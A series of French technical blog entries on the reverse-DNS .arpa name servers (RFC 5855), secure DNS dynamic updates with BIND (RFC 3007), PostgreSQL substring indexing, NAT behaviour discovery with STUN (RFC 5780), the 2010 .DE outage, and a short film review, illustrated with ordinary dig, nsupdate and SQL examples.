Bien qu'il n'existe aucun document décrivant l'usage qui peut être fait de la correspondance depuis l'adresse IP vers le nom de domaine (il y a eu plusieurs essais à l'IETF, tous ratés), il ne fait pas de doute que cette correspondance est utilisée. Par exemple, beaucoup de MTA, à l'exemple de Postfix, résolvent systématiquement l'adresse IP du client en nom, même s'ils ne se servent pas de ce nom. Pour cela, il font une requête de type PTR sur un nom spécial, formé à partir de l'adresse IP, et ajoutant un domaine spécial de .arpa à la fin. Avec l'option -x, dig fait tout cela automatiquement, ce qui permet de voir le processus, ici pour une adresse IPv6 :


% dig -x 2001:db8:dada::beef:1
; <<>> DiG 9.5.1-P3 <<>> -x 2001:db8:dada::beef:1
...
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 20846
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;1.0.0.0.f.e.e.b.0.0.0.0.0.0.0.0.0.0.0.0.a.d.a.d.8.b.d.0.1.0.0.2.ip6.arpa. IN PTR

;; AUTHORITY SECTION:
d.0.1.0.0.2.ip6.arpa.   10800   IN      SOA     ns1.apnic.net. read-txt-record-of-zone-first-dns-admin.apnic.net. 3005122290 7200 1800 604800 172800

...

On voit le domaine « spécial », ip6.arpa (RFC 3152), à la fin (pour IPv4, cela serait in-addr.arpa). Tout ceci est rappelé dans la section 1 du RFC.

Mais qui gère ces domaines spéciaux et avec quels serveurs ? Avant ce RFC, les serveurs de noms de ces domaines étaient un sous-ensemble des serveurs racine :

% dig NS in-addr.arpa 
...
;; ANSWER SECTION:
in-addr.arpa.           86400   IN      NS      a.root-servers.net.
in-addr.arpa.           86400   IN      NS      b.root-servers.net.
in-addr.arpa.           86400   IN      NS      c.root-servers.net.
in-addr.arpa.           86400   IN      NS      d.root-servers.net.
in-addr.arpa.           86400   IN      NS      e.root-servers.net.
in-addr.arpa.           86400   IN      NS      f.root-servers.net.
in-addr.arpa.           86400   IN      NS      g.root-servers.net.
in-addr.arpa.           86400   IN      NS      h.root-servers.net.
in-addr.arpa.           86400   IN      NS      i.root-servers.net.
in-addr.arpa.           86400   IN      NS      k.root-servers.net.
in-addr.arpa.           86400   IN      NS      l.root-servers.net.
in-addr.arpa.           86400   IN      NS      m.root-servers.net.

pour in-addr.arpa (qui, en décembre 2010, n'a pas encore changé) et des serveurs fournis par les RIR pour ip6.arpa :

% dig NS ip6.arpa    
...
;; ANSWER SECTION:
ip6.arpa.               84600   IN      NS      ns.icann.org.
ip6.arpa.               84600   IN      NS      sec1.apnic.net.
ip6.arpa.               84600   IN      NS      ns2.lacnic.net.
ip6.arpa.               84600   IN      NS      ns-sec.ripe.net.
ip6.arpa.               84600   IN      NS      tinnie.arin.net.

Le but du nouveau schéma est de séparer les domaines en .arpa du reste de l'infrastructure, pour pouvoir les déléguer éventuellement à d'autres serveurs. Le RFC ne spécifie que le nommage. La nomination des opérateurs de ces domaines est une question politique, laissé à l'ICANN, via la fonction IANA, suivant le RFC 2860 :

% whois -h whois.iana.org arpa

IANA Whois Service
Domain: arpa
ID: arpa

Sponsoring Organization:
    Organization: Internet Assigned Numbers Authority
...
    Country: United States
...
Administrative Contact:
    Organization: Internet Architecture Board (IAB)
                  c/o IETF Administrative Support Activity, ISOC
...
    Country: US
...
Technical Contact:
    Organization: Internet Assigned Numbers Authority
...

Donc, en quoi consiste le nouveau schéma ? Suivant de nombreuses zones (comme la racine mais aussi comme des TLD tels que .fr), les serveurs de in-addr.arpa sont désormais tous dans un domaine dédié et ont un nom d'une seule lettre (section 2 du RFC) :

  • A.IN-ADDR-SERVERS.ARPA
  • B.IN-ADDR-SERVERS.ARPA
  • C.IN-ADDR-SERVERS.ARPA
  • ...

Ces noms se terminant par les deux mêmes composants permettent la compression des données DNS (RFC 1035, section 4.1.4).

Les serveurs de in-addr-servers.arpa et de in-addr.arpa sont les mêmes (puisqu'ils servent le même but et peuvent donc partager le même sort en cas de problème). La colle (les adresses IP des serveurs) sera de toute façon présente dans la zone parente et l'utilisation d'un seul domaine ne pose donc pas de problème de fiabilité.

Même système pour les serveurs de ip6.arpa (section 3 du RFC) :

  • A.IP6-SERVERS.ARPA
  • B.IP6-SERVERS.ARPA
  • C.IP6-SERVERS.ARPA
  • ...

Le nouveau schéma a été déployé quelques mois après la publication du RFC (travail terminé le 7 décembre 2010 pour ip6.arpa et le 18 février 2011, après quelques cafouillages, pour in-addr.arpa) :

% dig NS ip6.arpa.
...
;; ANSWER SECTION:
ip6.arpa.		84600	IN	NS	a.ip6-servers.arpa.
ip6.arpa.		84600	IN	NS	b.ip6-servers.arpa.
ip6.arpa.		84600	IN	NS	c.ip6-servers.arpa.
ip6.arpa.		84600	IN	NS	d.ip6-servers.arpa.
ip6.arpa.		84600	IN	NS	e.ip6-servers.arpa.
ip6.arpa.		84600	IN	NS	f.ip6-servers.arpa.
% dig NS in-addr.arpa.
...
;; ANSWER SECTION:
in-addr.arpa.           29652   IN      NS      a.in-addr-servers.arpa.
in-addr.arpa.           29652   IN      NS      c.in-addr-servers.arpa.
in-addr.arpa.           29652   IN      NS      d.in-addr-servers.arpa.
in-addr.arpa.           29652   IN      NS      f.in-addr-servers.arpa.
in-addr.arpa.           29652   IN      NS      e.in-addr-servers.arpa.
in-addr.arpa.           29652   IN      NS      b.in-addr-servers.arpa.

La gestion de .arpa étant une affaire de gouvernance complexe, la section 4 doit expliquer que l'IAB a donné son accord pour le nouveau schéma, rôle que le RFC 3172 lui attribue.

Notez enfin que ce RFC ne concerne que les sous-domaines de .arpa. Le cas du TLD lui-même a été traité ultérieurement dans le RFC 9120.


Téléchargez le RFC 5855


L'article seul

Ma participation au buzz pour 8th Wonderland

Première rédaction de cet article le 20 mai 2010


Bon, désolé de bêtement participer au buzz (pardon, au bouche à oreille) en faveur de 8th Wonderland mais j'ai vraiment beaucoup apprécié ce film et je le recommande à tous. J'étais sceptique au début. Je ne partage absolument pas le point de vue comme quoi on pourrait vivre dans le virtuel, ni celui comme quoi Internet apportera une nouvelle façon de faire de la politique, qui dispenserait de l'engagement citoyen classique.

Mais, en fait, 8th Wonderland est simplement un film qui parle de politique intelligemment, qui se pose des bonnes questions sur l'engagement, un film internationaliste, un film qui ne présente pas l'Internet de manière débile.

Finalement, le film ne se passe pas tellement dans un monde virtuel : dans 8th Wonderland, on ne fait que parler, tout le reste (agir, manifester, draguer) se fait dans le monde physique. Comme le dit la pub, 8th Wonderland n'existe pas : ce sont ses habitants qui existent.

Par contre, film déconseillé aux gens qui ont besoin de calme et de concentration. Comme le monde médiatique moderne, 8th Wonderland s'agite beaucoup, dans une débauche d'images et d'information. Le plus dur est de suivre tous ces flux !


L'article seul

RFC 3007: Secure Domain Name System (DNS) Dynamic Update

Date de publication du RFC : Novembre 2000
Auteur(s) du RFC : B. Wellington (Nominum)
Chemin des normes
Première rédaction de cet article le 20 mai 2010


Comment combiner le mécanisme de signature DNSSEC (normalisé à l'époque dans le RFC 2535, aujourd'hui dans le RFC 4033) avec les mises à jour dynamiques du DNS par le protocole du RFC 2136 ? Ce RFC détaille les questions que cette combinaison pose et apporte des réponses.

La méthode la plus classique pour signer une zone DNS avec DNSSEC est de le faire sur une zone complète (typiquement un fichier de zone au format décrit par la section 5 du RFC 1035) avec un outil comme dnssec-signzone (dans BIND) ou bien OpenDNSSEC. Mais parfois, la zone est avitaillée (contenu créé, modifié et détruit) par les dynamic updates du RFC 2136. Peut-on encore la signer dans ce cas ? Oui. Ce RFC, successeur du RFC 2137 explique comment (ce RFC a lui-même été légèrement mis à jour par les RFC ultérieurs comme le RFC 4035). Le principe est simple : le client doit s'authentifier, par exemple avec TSIG (RFC 2845) et le serveur doit signer lui-même les données mises à jour (ce qui implique qu'il connaisse la clé secrète DNSSEC, ou bien qu'il aie accès à un dispositif de signature comme un HSM, cf. section 4.3). Un logiciel comme BIND sait aujourd'hui faire cela. L'articulation entre l'authentification de la mise à jour dynamique et celle, ultérieure, faite avec DNSSEC, est expliquée en sections 1.3 et 1.4.

Petit rappel en section 1.1 la mise à jour dynamique se fait en indiquant l'opération d'avitaillement souhaitée (ajout ou suppression, la modification se faisant en combinant les deux, section 2.5 du RFC 2136) et ses valeurs. Avec nsupdate, voici un exemple :

# Génération de la clé
dnssec-keygen -a HMAC-SHA256 -b 256 -n HOST dynamic.test-update

# Configuration de BIND 
key "dynamic.test-update." { 
        algorithm hmac-sha256; 
        secret "TRESSECRET="; 
}; 
zone "dynamic.test" {
       type master;
       file "dynamic.test";
        allow-update {
                key "dynamic.test-update.";
        };
};

# Commande de mise à jour
nsupdate -kKdynamic.test-update.+163+49211 -d <<EOF
server localhost
zone dynamic.test
update add toto$$.dynamic.test 600 A 192.0.2.1
send
EOF

# Le journal de BIND
May 20 08:28:19 golgoth named[836]: client ::1#65379: signer "dynamic.test-update" approved
May 20 08:28:19 golgoth named[836]: client ::1#65379: updating zone 'dynamic.test/IN': adding an RR at 'toto289.dynamic.test' A

L'authentification de la requête (ici, avec la clé contenue dans les fichiers Kdynamic.test-update.+163+49211*) est évidemment impérative. La signature avec DNSSEC ne servirait à rien, si n'importe qui pouvait modifier la zone ! La section 2 détaille cette authentification et explique que, même si les enregistrements DNS transmis sont déjà signés, cela ne doit pas être utilisé pour authentifier la requête de mise à jour, qui doit se faire avec TSIG (comme dans mes exemples) ou SIG(0) (RFC 2931, qui n'est jamais utilisé en pratique).

À noter que la même section (et aussi la 4.1) précise qu'on peut quand même envoyer des enregistrements déjà signés (à condition que la requête soit authentifiée autrement) mais BIND, dans sa version 9.7, ne les accepte pas.

La section 3 rappelle que l'acceptation ou pas d'une mise à jour d'une zone signée dépend de la politique locale. Avec un BIND, voici un exemple :

# Configuration de BIND
options {
        ...
        key-directory "/etc/namedb/keys"; // Les fichiers K* sont mis
	// dans ce répertoire
...
// Pas d'autre changement pour BIND, qui détecte tout seul que la zone
// est signée et qu'il est responsable de la signature de nouveaux
// enregistrements.

# Commande de mise à jour identique : le client n'a rien à faire

# Journal de BIND
May 20 08:43:53 golgoth named[1188]: client ::1#65345: signer "dynamic.test-update" approved
May 20 08:43:53 golgoth named[1188]: client ::1#65345: updating zone 'dynamic.test/IN': adding an RR at 'toto668.dynamic.test' A

# Et le nouvel enregistrement a été signé :
% dig +dnssec @localhost A toto668.dynamic.test 
...
;; ANSWER SECTION:
toto668.dynamic.test.   600     IN      A       192.0.2.1
toto668.dynamic.test.   600     IN      RRSIG   A 5 3 600 20100619064353 20100520054353 39751 dynamic.test. DyUHIRwUVMU2xHeYnNI/W/koF1M9tZHtxo93niWD1Tjp1ysWzZPCN/Js kOKemy4/XOtZlrwlposnrvSGBicl1jaMB57Ejg9GqYK9jV8Tj6+3BcGm...

Notons que BIND ne met pas en œuvre toutes les recommandations de cette section. Par exemple la 3.1 suggère fortement que la politique de modification puisse dépendre du type (A, AAAA, MX, etc) mais cela n'est pas possible avec BIND.

La mise à jour dynamique nécessite des règles spécifiques pour certains types d'enregistrements. On a vu que l'envoi de RRSIG (les signatures, appelées SIG à l'époque de notre RFC 3007) était permis par le protocole (mais pas par BIND). En revanche, la mise à jour des enregistrements de non-existence (les NXT à l'époque, devenus depuis les NSEC et NSEC3) est explicitement interdite (section 3.1.1) car ils doivent être correctement chaînés et seul le serveur connait toute la zone. BIND crée donc tout seul les NSEC et NSEC3 lors de l'ajout ou de la suppression d'un nom.

Enfin, les risques de sécurité entraînés par cette technique (puisque le serveur de noms doit connaître la clé privée, et qu'elle doit donc être « en ligne », d'accès plus facile pour un éventuel attaquant) sont détaillés en section 5.

Pour les détails pratiques de mise en œuvre, voir mon article « Combiner DNSSEC avec les mises à jour dynamiques ».


Téléchargez le RFC 3007


L'article seul

Indexation sur une sous-chaîne de caractères dans PostgreSQL

Première rédaction de cet article le 19 mai 2010
Dernière mise à jour le 20 mai 2010


Tous les SGBD disposent de mécanismes d'indexation pour accélerer l'accès aux données (commande SQL CREATE INDEX pour créer un tel index). Si on connait la chaîne de caractères exacte, on la trouve dans l'index et on a tout de suite ses données. Mais si on ne connait qu'une partie de la chaîne ?

Essayons avec PostgreSQL (tous ces essais ont été faits avec la version 8.3). D'abord, je crée une table associant des personnes (représentées par un simple numéro) à des numéros de téléphone :

CREATE TABLE PhonesPersons (person INTEGER NOT NULL, -- Not UNIQUE 
                            -- since a person may have several phone numbers
                            phone TEXT NOT NULL -- Not UNIQUE since 
                            -- a phone can be used by several persons
);

puis je peuple cette table pour des tests avec un million d'entrées (le script SQL complet est index-substring-create.sql et le programme de peuplement est un script Python, index-substring-populate.py et, oui, tout ceci est une simplification, je sais bien que les numéros E164 peuvent avoir un code international de un ou trois chiffres). Testons d'abord sans index :

% time psql --pset pager essais -c \
        "SELECT person FROM PhonesPersons WHERE phone = '+33 8116243'"
 person 
--------
 997313
(1 row)

psql [...] 0.06s user 0.01s system 14% cpu 0.506 total

En effet, sans index, PostgreSQL a dû parcourir toutes les données. Cherchons des explications :

essais=> EXPLAIN SELECT person FROM PhonesPersons WHERE phone = '+33 8116243';
                           QUERY PLAN                            
-----------------------------------------------------------------
 Seq Scan on phonespersons  (cost=0.00..18064.00 rows=1 width=4)
   Filter: (phone = '+33 8116243'::text)
(2 rows)

C'est confirmé, la requête a pris du temps car il a fallu un balayage séquentiel (Seq Scan) des données. Maintenant, créeons un index avec CREATE INDEX phone_idx ON PhonesPersons(phone) et reessayons :

psql [...]  0.04s user 0.02s system 97% cpu 0.070 total

Le temps écoulé est beaucoup plus court (70 ms au lieu de 500). En effet, l'utilisation de l'index permet à PostgreSQL d'être plus efficace :

essais=> EXPLAIN SELECT person FROM PhonesPersons WHERE phone = '+33 8116243';
                                  QUERY PLAN                                   
-------------------------------------------------------------------------------
 Index Scan using phone_idx on phonespersons  (cost=0.00..8.41 rows=1 width=4)
   Index Cond: (phone = '+33 8116243'::text)
(2 rows)

Bien, cela, c'était pour le cas où on cherchait un numéro de téléphone spécifique. Mais si on cherche une partie du numéro, par exemple uniquement les numéros français (commençant par +33) ? SQL dispose pour cela de la commande LIKE :

essais=> SELECT person FROM PhonesPersons WHERE phone LIKE '+33%';
 person  
---------
  651229
  829130
...

mais elle n'utilise pas l'index et est donc très lente :

essais=> EXPLAIN SELECT person FROM PhonesPersons WHERE phone LIKE '+33%';
                            QUERY PLAN                             
-------------------------------------------------------------------
 Seq Scan on phonespersons  (cost=0.00..18064.00 rows=163 width=4)
   Filter: (phone ~~ '+33%'::text)
(2 rows)

On peut convaincre LIKE d'utiliser un index grâce aux Operator Classes. Par exemple, par défaut, LIKE utilise les locales, ce qui peut sérieusement le ralentir, certaines locales étant complexes. Si on crée l'index avec CREATE INDEX phone_idx ON PhonesPersons(phone varchar_pattern_ops) pour utiliser l'operator class varchar_pattern_ops (insensible à la locale), l'index fonctionne :

essais=> EXPLAIN SELECT person FROM PhonesPersons WHERE phone LIKE '+33%';
                                 QUERY PLAN                                 
----------------------------------------------------------------------------
 Bitmap Heap Scan on phonespersons  (cost=6.06..569.94 rows=163 width=4)
   Filter: (phone ~~ '+33%'::text)
   ->  Bitmap Index Scan on phone_idx  (cost=0.00..6.02 rows=163 width=0)
         Index Cond: ((phone ~>=~ '+33'::text) AND (phone ~<~ '+35'::text))
(4 rows)

Notez que cela ne marcherait pas si le joker (le caractère %) était au début de la chaîne (ce problème semble commun à tous les SGBD, à moins que quelqu'un aie un contre-exemple ?). Pour cela, il faut utiliser des méthodes plus complexes comme décrites dans les articles « Utiliser un index pour les recherches sur des motifs tels que « colonne LIKE '%chaîne' » » ou bien « Index inversé, en C ».

Mais, ici, je prends une autre méthode, reposant sur les fonctions.

L'idée est de créer un index pour une sous-chaîne. Pour simplifier, au début, on va supposer une sous-chaîne de longueur fixe, les trois premiers caractères, avec la fonction substr :

essais=> SELECT person FROM PhonesPersons WHERE substr(phone, 1, 3) = '+33';
 person  
---------
  651229
  829130
...

Cette requête n'utilise pas l'index qui existe, car on ne donne au SGBD qu'une sous-chaîne :

essais=> EXPLAIN SELECT person FROM PhonesPersons WHERE substr(phone, 1, 3) = '+33';
                             QUERY PLAN                             
--------------------------------------------------------------------
 Seq Scan on phonespersons  (cost=0.00..20564.00 rows=5000 width=4)
   Filter: (substr(phone, 1, 3) = '+33'::text)
(2 rows)

POur arranger cela, créeons un index pour la fonction substr. PostgreSQL permet d'indexer le résultat d'une fonction si celle-ci a été marquée comme IMMUTABLE, c'est-à-dire pure (ce qui est le cas de substr) : CREATE INDEX countrycode_idx ON PhonesPersons (substr(phone, 1, 3));. Désormais, l'index est utilisé :

essais=> EXPLAIN SELECT person FROM PhonesPersons WHERE substr(phone, 1, 3) = '+33';
                                    QUERY PLAN                                    
----------------------------------------------------------------------------------
 Bitmap Heap Scan on phonespersons  (cost=83.09..5808.11 rows=5000 width=4)
   Recheck Cond: (substr(phone, 1, 3) = '+33'::text)
   ->  Bitmap Index Scan on countrycode_idx  (cost=0.00..81.84 rows=5000 width=0)
         Index Cond: (substr(phone, 1, 3) = '+33'::text)
(4 rows)

Est-ce vraiment plus rapide ? Sans index :

% time psql --pset pager essais -c \
      "SELECT person FROM PhonesPersons WHERE substr(phone, 1, 3) = '+33'"
...
psql [...]  0.05s user 0.01s system 5% cpu 1.036 total

Avec index :

psql [...]  0.06s user 0.01s system 87% cpu 0.073 total

Donc, oui, l'index est réellement efficace, 73 milli-secondes d'attente au lieu d'une seconde entière.

Ici, le cas était simple car la sous-chaîne était de longueur fixe. Pour essayer avec des longueurs variables, abandonnons les numéros de téléphone pour les adresses de courrier électronique :

CREATE TABLE EmailsPersons (person INTEGER NOT NULL,
                            email TEXT NOT NULL 
);

et créeons une fonction SQL pour extraire le TLD de l'adresse (notons qu'on l'a déclaré IMMUTABLE, ce qu'elle est réellement ; mais PostgreSQL ne vérifie pas cette déclaration, c'est au programmeur de faire attention) :

-- Extracts the TLD from a domain name (or an email address)
CREATE OR REPLACE FUNCTION tld(TEXT) RETURNS TEXT IMMUTABLE AS
   '
     DECLARE
       first_dot INTEGER;
       rest TEXT;
     BEGIN
       first_dot = strpos($1, ''.'');
       rest = substr($1, first_dot+1);
       IF strpos(rest, ''.'') = 0 THEN
          RETURN rest;
       ELSE
          RETURN last_label(rest);
       END IF;
     END;
   '
 LANGUAGE PLPGSQL;

On peut l'utiliser :

essais=> SELECT email, tld(email) FROM EmailsPersons WHERE person = 147676; 
                email                | tld 
-------------------------------------+-----
 0jdm8k13r3ek4rxs2tqo7-t@khl4u6sf.de | de
 owqwtrs8o2o20s8ri3sb@g4eoas.fr      | fr
(2 rows)

Cette requête n'utilise pas d'index :

essais=> EXPLAIN SELECT email FROM EmailsPersons WHERE  tld(email) = 'de';
                              QUERY PLAN                              
----------------------------------------------------------------------
 Seq Scan on emailspersons  (cost=0.00..271292.00 rows=5000 width=38)
   Filter: (tld(email) = 'de'::text)
(2 rows)

Mais on peut créer un index sur cette fonction avec CREATE INDEX tld_idx ON EmailsPersons (tld(email)); et il sera utilisé :

essais=> EXPLAIN SELECT email FROM EmailsPersons WHERE  tld(email) = 'de';
                                 QUERY PLAN                                  
-----------------------------------------------------------------------------
 Bitmap Heap Scan on emailspersons  (cost=87.34..9201.36 rows=5000 width=38)
   Recheck Cond: (tld(email) = 'de'::text)
   ->  Bitmap Index Scan on tld_idx  (cost=0.00..86.09 rows=5000 width=0)
         Index Cond: (tld(email) = 'de'::text)
(4 rows)

Attention toutefois en testant l'utilisation de l'index avec EXPLAIN. Le SGBD peut parfaitement décider de ne pas utiliser un index, s'il estime que cela sera plus rapide sans (par exemple, si un critère de sélection est peu discriminant et qu'il faut extraire presque toutes les données, passer par l'index n'apporte rien). Le vrai test est donc le gain de performance, pas la réponse de EXPLAIN !

Pour les deux exemples que j'ai utilisé, où les données sont stockées sous forme de texte alors qu'elles sont en fait structurées, une solution meilleure serait peut-être de créer un type spécifique. C'est ce que fait par exemple Prefix Range.

À noter que les index de PostgreSQL ne marchent apparemment pas sur les requêtes de non-existence. Si on cherche les adresses dans le TLD .de, mais pas si on cherche les adresses n'étant pas dans ce TLD (opérateur <>). Dans le cas d'un TLD peu fréquent, cela pourrait s'expliquer pour la raison ci-dessus (s'il faut récupérer presque toutes les valeurs, l'index est inutile) mais j'observe le même problème pour les cas où il y a peu de données. (Voir la discussion sur StackOverflow.) C'est dommage, car cela pourrait certainement être utile.

Un contournement simple est de transformer le test « différent de CHAÎNE » en « strictement supérieur ou inférieur à CHAÎNE ». L'index est alors bien utilisé. Essayons avec le préfixe téléphonique espagnol, sur une base où ils sont nombreux, de façon à ce que la négation ne sélectionne pas trop de tuples (car, sinon, rappelez-vous, PostgreSQL peut décider de ne pas utiliser l'index) :


essais=> EXPLAIN SELECT person FROM PhonesPersons WHERE substr(phone, 1, 3) <> '+34';                                         QUERY PLAN                             
--------------------------------------------------------------------
 Seq Scan on phonespersons  (cost=0.00..20564.00 rows=9333 width=4)
   Filter: (substr(phone, 1, 3) <> '+34'::text)
(2 rows)

essais=> EXPLAIN SELECT person FROM PhonesPersons WHERE substr(phone, 1, 3) > '+34' OR substr(phone, 1, 3) < '+34';
                                          QUERY PLAN                                          
----------------------------------------------------------------------------------------------
 Bitmap Heap Scan on phonespersons  (cost=163.34..6109.12 rows=9319 width=4)
   Recheck Cond: ((substr(phone, 1, 3) > '+34'::text) OR (substr(phone, 1, 3) < '+34'::text))
   ->  BitmapOr  (cost=163.34..163.34 rows=9333 width=0)
         ->  Bitmap Index Scan on areacode_idx  (cost=0.00..124.28 rows=7459 width=0)
               Index Cond: (substr(phone, 1, 3) > '+34'::text)
         ->  Bitmap Index Scan on areacode_idx  (cost=0.00..34.40 rows=1874 width=0)
               Index Cond: (substr(phone, 1, 3) < '+34'::text)
(7 rows)

Cela ne marche qu'avec certains types d'index, ceux qui sont ordonnés (b-tree mais pas hash) et ont donc les opérateurs « supérieur à » et « inférieur à ».

Merci à Mark Byers, Guillaume Lelarge, Dimitri Fontaine, Mathieu Arnold, araqnid et Thomas Reiss pour leur aide érudite.


L'article seul

RFC 5780: NAT Behavior Discovery Using STUN

Date de publication du RFC : Mai 2010
Auteur(s) du RFC : D. MacDonald, B. Lowekamp
Expérimental
Première rédaction de cet article le 19 mai 2010


La norme STUN, à son origine en mars 2003 (RFC 3489), avait mis dans un seul RFC beaucoup de choses, comme la capacité à découvrir son adresse IP publique derrière le NAT, ou la capacité à découvrir le comportement du routeur NAT, et visait à être un mécanisme complet pour permettra la traversée d'un des engins qui enferment les machines situées derrière eux dans des adresses IP privées. Mais « qui trop embrasse mal étreint » et STUN avait été critiqué pour ne pas assez séparer ces différentes fonctions. Notamment, le mécanisme de découverte du comportement du routeur NAT a été jugé, avec l'expérience, trop fragile et peu fiable, vue la variété des comportements possibles (et l'absence de normes respectées sur ce point). Pire, dans certains cas, le comportement du routeur NAT variait dans le temps (par exemple parce qu'une table était pleine, cf. section 2). Le successeur du RFC 3489, le RFC 5389, a donc décidé de se concentrer sur le protocole de base, laissant des RFC comme notre RFC 5780, définir des usages (la section 1 résume ce choix). Notre RFC décrit donc comment utiliser STUN pour essayer de déterminer le comportement du routeur NAT.

Un routeur NAT alloue des bindings entre un couple {adresse IP, port} interne (l'adresse IP est généralement une adresses IP privée, telle que décrite dans le RFC 1918) et un couple {adresse IP, port} externe. Par exemple, si une machine sur le réseau local écrit depuis le couple {192.171.1.2, 45342}, le routeur dont l'adresse publique est 192.0.2.129, peut créer un binding de {192.0.2.129, 8662} vers {192.171.1.2, 45342}. Tout paquet envoyé depuis une machine de l'Internet à l'adresse 192.0.2.129, port 8662, va alors être transmis à l'adresse 192.171.1.2, port 45342.

Tous les routeurs NAT font cela. Mais ils diffèrent sur bien des points (la section 4 du RFC 4787 les énumère). Par exemple :

  • Combien de temps durera le binding si aucun paquet IP ne passe ? Dans les réseaux Wifi des hôtels, il est courant qu'il ne dure que quelques dizaines de secondes, ce qui ne pose pas de problème à HTTP mais est insupportable pour SSH. (Section 3.3)
  • Si la même machine interne écrit, depuis le même port, à une autre machine sur l'Internet, le même binding sera t-il utilisé ? Autrement dit, dépend t-il uniquement de l'adresse source (Endpoint-Independent Mapping, dit le RFC 4787) ou bien aussi de la destination ?
  • Est-ce que le routeur autorise les virages en épingle à cheveux, c'est-à-dire les cas où un paquet envoyé vers l'extérieur doit en fait être acheminé vers le réseau interne (car les deux machines ne savent pas qu'elles sont derrière le même NAT) ? (Section 3.4)
  • Est-ce que le routeur traduit les adresses IP présentes dans le flux de données (une idée catastrophique mais certains le font) ? (Section 3.6).
  • Etc

Notre protocole doit donc permettre de découvrir une réponse à ces questions. Il se base sur STUN (avec quelques attributs supplémentaires décrits dans ce RFC, section 7). L'application qui l'utilise peut alors se servir de ses découvertes pour ajuster son comportement. Par exemple, la découverte d'une très courte durée de vue des bindings peut l'amener à envoyer des paquets keepalive.

Pour tenir compte des critiques qui avaient été faites à STUN, le RFC précise bien (section 1) que ce protocole est expérimental, que l'application ne doit pas prendre au pied de la lettre les informations trouvées et qu'aucun procédé ne peut être complètement fiable dans ce domaine.

La section 2 décrit des cas où la découverte des propriétés du routeur NAT peut être utile, par exemple pour sélectionner les participants à un réseau pair-à-pair qui devront jouer un rôle particulier, par exemple de routage. La section 2.2, sur un protocole de pair-à-pair hypothétique qui utiliserait STUN, est particulièrement détaillée et donne un très bon exemple d'un mécanisme de « survie dans un monde de NAT ». Une lecture à recommander à tous les auteurs d'un protocole P2P.

La section 3 décrit le protocole en détail. Le serveur STUN est recherché dans le DNS via les enregistrements SRV (RFC 2782 et section 5.1). Chaque sous-section traite ensuite d'une question particulière de la liste donnée ci-dessus. Par exemple, pour déterminer si le binding dépend de l'adresses de destination, le client STUN écrit aux deux adresses IP du serveur STUN, en utilisant l'attribut OTHER-ADDRESS (c'est pour cela qu'un serveur STUN pour ce protocole ne peut pas avoir qu'une seule adresse, à noter que l'ancienne version de STUN imposait deux adresses IP dans tous les cas) et regarde si les résultats sont différents (section 3.2). Autre exemple, la section 3.3 est consacrée à la détermination de la durée de vie du binding en faisant un essai, attendant un certain temps, puis refaisant l'essai pour voir s'il marche toujours (inutile de dire que ce test est un des moins fiables, car la durée de vie d'un binding peut dépendre du remplissage des tables du routeur, section 4.6). Les virages en épingle à cheveux (paquets envoyés d'une machine située derrière le routeur à une autre machine située sur le même réseau, en passant par le routeur) sont exposés en section 3.4, qui explique comment déterminer si ces virages fonctionnent. La section 3.6 explique comment détecter la réécriture des adresses IP en comparant les attributs MAPPED-ADDRESS et XOR-MAPPED-ADDRESS. Oui, c'est une abomination, qui justifierait un rétablissement de la peine de mort mais certains routeurs examinent tous les octets qui passent et, lorsqu'ils trouvent quatre octets qui sont identiques à l'adresse IP NATée, les remplacent par l'adresse publique... C'est un des plus beaux exemples de délire d'un programmeur réseau.

La section 4 décrit en détail les algorithmes que doivent suivre clients et serveurs. Par exemple, 4.4 parle de la nécessité de faire tourner les tests en parallèle (certains peuvent être longs) et 4.5 explicite le mécanisme de découverte de la durée de vie des bindings (tout en notant que les clients doivent s'attendre à des résultats incohérents car cette durée de vie peut varier, par exemple selon la charge du routeur).

Pourquoi notre RFC 5780 sort-il si longtemps après le RFC 5389 ? Parce que sa genèse a été difficile : des points comme le tirage au hasard des ports utilisés (sections 4.1 et 9.2), ou comme les nouveaux enregistrements SRV (stun-behavior au lieu du traditionnel stun), ont suscité de longues discussions.


Téléchargez le RFC 5780


L'article seul

Grande panne du domaine allemand .DE

Première rédaction de cet article le 12 mai 2010
Dernière mise à jour le 17 mai 2010


De environ 1130 UTC à 1315 UTC, le TLD allemand, .DE a été en panne presque complète.

On peut voir le résultat en interrogeant successivement les serveurs DNS faisant autorité, avec dig :

% for ns in $(dig +short NS de.); do
  echo $ns
  dig @$ns A google.de
done

f.nic.de ... NOERROR
z.nic.de ... NXDOMAIN
s.de.net ... NOERROR
a.nic.de ... NXDOMAIN
c.de.net ... NOERROR
l.de.net ... NXDOMAIN

Dans l'exemple ci-dessus, trois (ce sont parfois deux) serveurs de noms de DENIC répondent que le domaine google.de n'existe pas (NXDOMAIN)... (À noter qu'il y avait eu une présentation de l'infrastructure technique de DENIC à la réunion OARC de Prague quelques jours avant la panne.)

Le problème affectait les domaines dont le nom commence par les lettres F à Z (facebook.de marchait encore mais pas ford.de). Cela laisse donc à penser que le générateur de zones qui fabrique le fichier à partir de la base de données a stoppé en plein milieu de son travail... (L'analyse de DENIC, publiée ultérieurement, indique que le générateur de zones a bien fonctionné mais que c'est la copie du fichier de zone vers les serveurs qui avait été interrompue en route.) Cela ressemble donc beaucoup, mais en moins radical (une partie de la base était toujours là) à la panne qui avait affecté .SE et aussi à la grande panne de .COM en 1997.

Donc, denic.de, bund.de (le gouvernement) ou bild.de marchaient, alors que google.de, tageszeitung.de ou heise.de avaient le problème.

Avec un script plus compliqué et qui fait plus de tests :

for domain in bild bund denic facebook ford google heise tageszeitung; do
  for ns in $(dig +short NS de.); do
    echo $ns
    dig @$ns A $domain.de
  done
done

On obtient ce résultat (vu au moment où la panne était en cours de réparation, seul un serveur avait encore le problème).

